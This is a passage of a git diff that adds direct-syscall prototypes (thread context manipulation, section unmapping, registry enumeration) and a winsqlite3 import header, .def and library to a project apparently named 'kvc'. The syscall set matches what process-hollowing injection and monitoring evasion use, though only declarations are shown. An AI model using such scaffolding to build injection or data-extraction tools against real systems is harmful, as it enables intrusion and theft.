+ NTSTATUS NtUnmapViewOfSection_syscall(HANDLE, PVOID); + NTSTATUS NtGetContextThread_syscall(HANDLE, PCONTEXT); + NTSTATUS NtSetContextThread_syscall(HANDLE, PCONTEXT); + NTSTATUS NtResumeThread_syscall(HANDLE, PULONG); + NTSTATUS NtFlushInstructionCache_syscall(HANDLE, PVOID, ULONG); + NTSTATUS NtClose_syscall(HANDLE); + NTSTATUS NtOpenKey_syscall(PHANDLE, ACCESS_MASK, POBJECT_ATTRIBUTES); + NTSTATUS NtQueryValueKey_syscall(HANDLE, PUNICODE_STRING_SYSCALLS, KEY_VALUE_INFORMATION_CLASS, PVOID, ULONG, PULONG); + NTSTATUS NtEnumerateKey_syscall(HANDLE, ULONG, KEY_INFORMATION_CLASS, PVOID, ULONG, PULONG); +} + +#endif \ No newline at end of file diff --git a/kvc/winsqlite3.def b/kvc/winsqlite3.def new file mode 100644 index 0000000..8da8bad --- /dev/null +++ b/kvc/winsqlite3.def @@ -0,0 +1,13 @@ +LIBRARY winsqlite3.dll +EXPORTS +sqlite3_open_v2 +sqlite3_close_v2 +sqlite3_prepare_v2 +sqlite3_step +sqlite3_finalize +sqlite3_column_blob +sqlite3_column_bytes +sqlite3_column_int +sqlite3_column_int64 +sqlite3_column_text +sqlite3_errmsg \ No newline at end of file diff --git a/kvc/winsqlite3.h b/kvc/winsqlite3.h new file mode 100644 index 0000000..ba5c3b5 --- /dev/null +++ b/kvc/winsqlite3.h @@ -0,0 +1,159 @@ +/* Windows SQLite3 header - Professional interface for winsqlite3.dll */ +#ifndef WINSQLITE3_H +#define WINSQLITE3_H + +#include + +#ifdef __cplusplus +extern "C" { +#endif + +/* + * Windows SQLite3 Library Interface + * + * This header provides interface definitions for Microsoft's built-in + * SQLite3 implementation (winsqlite3.dll) available in Windows 10/11. + * + * The API is fully compatible with standard SQLite3 but uses the + * system-provided library for enhanced security and maintenance. + */ + +/* SQLite3 Core Types */ +typedef struct sqlite3 sqlite3; +typedef struct sqlite3_stmt sqlite3_stmt; +typedef int64_t sqlite3_int64; + +/* SQLite3 Result Codes */ +#define SQLITE_OK 0 /* Successful result */ +#define SQLITE_ROW 100 /* Step has another row ready */ + +/* SQLite3 Open Flags */ +#define SQLITE_OPEN_READONLY 0x00000001 /* Read-only database */ +#define SQLITE_OPEN_URI 0x00000040 /* URI filename interpretation */ + +/* Windows SQLite3 Function Declarations */ + +/** + * Open a database connection with extended parameters + * @param filename Database file path or URI + * @param ppDb Output parameter for database handle + * @param flags Open flags (SQLITE_OPEN_*) + * @param zVfs VFS module name (usually NULL) + * @return SQLITE_OK on success + */ +__declspec(dllimport) int sqlite3_open_v2( + const char *filename, + sqlite3 **ppDb, + int flags, + const char *zVfs +); + +/** + * Close database connection (enhanced version) + * @param db Database handle to close + * @return SQLITE_OK on success + */ +__declspec(dllimport) int sqlite3_close_v2(sqlite3 *db); + +/** + * Prepare SQL statement for execution + * @param db Database handle + * @param zSql SQL statement text + * @param nByte Length of SQL text (-1 for null-terminated) + * @param ppStmt Output parameter for prepared statement + * @param pzTail Pointer to unused portion of zSql + * @return SQLITE_OK on success + */ +__declspec(dllimport) int sqlite3_prepare_v2( + sqlite3 *db, + const char *zSql, + int nByte, + sqlite3_stmt **ppStmt, + const char **pzTail +); + +/** + * Execute one step of prepared statement + * @param pStmt Prepared statement handle + * @return SQLITE_ROW if row available, SQLITE_OK if done + */ +__declspec(dllimport) int sqlite3_step(sqlite3_stmt *pStmt); + +/** + * Finalize and destroy prepared statement + * @param pStmt Prepared statement handle + * @return SQLITE_OK on success + */ +__declspec(dllimport) int sqlite3_finalize(sqlite3_stmt *pStmt); + +/* Column Data Access Functions */ + +/** + * Get column value as text + * @param pStmt Prepared statement handle + * @param iCol Column index (0-based) + * @return Pointer to UTF-8 text data + */ +__declspec(dllimport) const unsigned char *sqlite3_column_text( + sqlite3_stmt *pStmt, + int iCol +); + +/** + * Get column value as binary blob + * @param pStmt Prepared statement handle + * @param iCol Column index (0-based) + * @return Pointer to binary data + */ +__declspec(dllimport) const void *sqlite3_column_blob( + sqlite3_stmt *pStmt, + int iCol +); + +/** + * Get size of column data in bytes + * @param pStmt Prepared statement handle + * @param iCol Column index (0-based) + * @return Size in bytes + */ +__declspec(dllimport) int sqlite3_column_bytes( + sqlite3_stmt *pStmt, + int iCol +); + +/** + * Get column value as 32-bit integer + * @param pStmt Prepared statement handle + * @param iCol Column index (0-based) + * @return Integer value + */ +__declspec(dllimport) int sqlite3_column_int( + sqlite3_stmt *pStmt, + int iCol +); + +/** + * Get column value as 64-bit integer + * @param pStmt Prepared statement handle + * @param iCol Column index (0-based) + * @return 64-bit integer value + */ +__declspec(dllimport) sqlite3_int64 sqlite3_column_int64( + sqlite3_stmt *pStmt, + int iCol +); + +/* Error Handling */ + +/** + * Get last error message for database connection + * @param db Database handle + * @return UTF-8 encoded error message + */ +__declspec(dllimport) const char *sqlite3_errmsg(sqlite3 *db); + +#ifdef __cplusplus +} +#endif + +#endif /* WINSQLITE3_H */ \ No newline at end of file diff --git a/kvc/winsqlite3.lib b/kvc/winsqlite3.lib new file mode 100644 index 0000000..a42c9bc Binary files /dev/null and b/kvc/winsqlite3.lib differ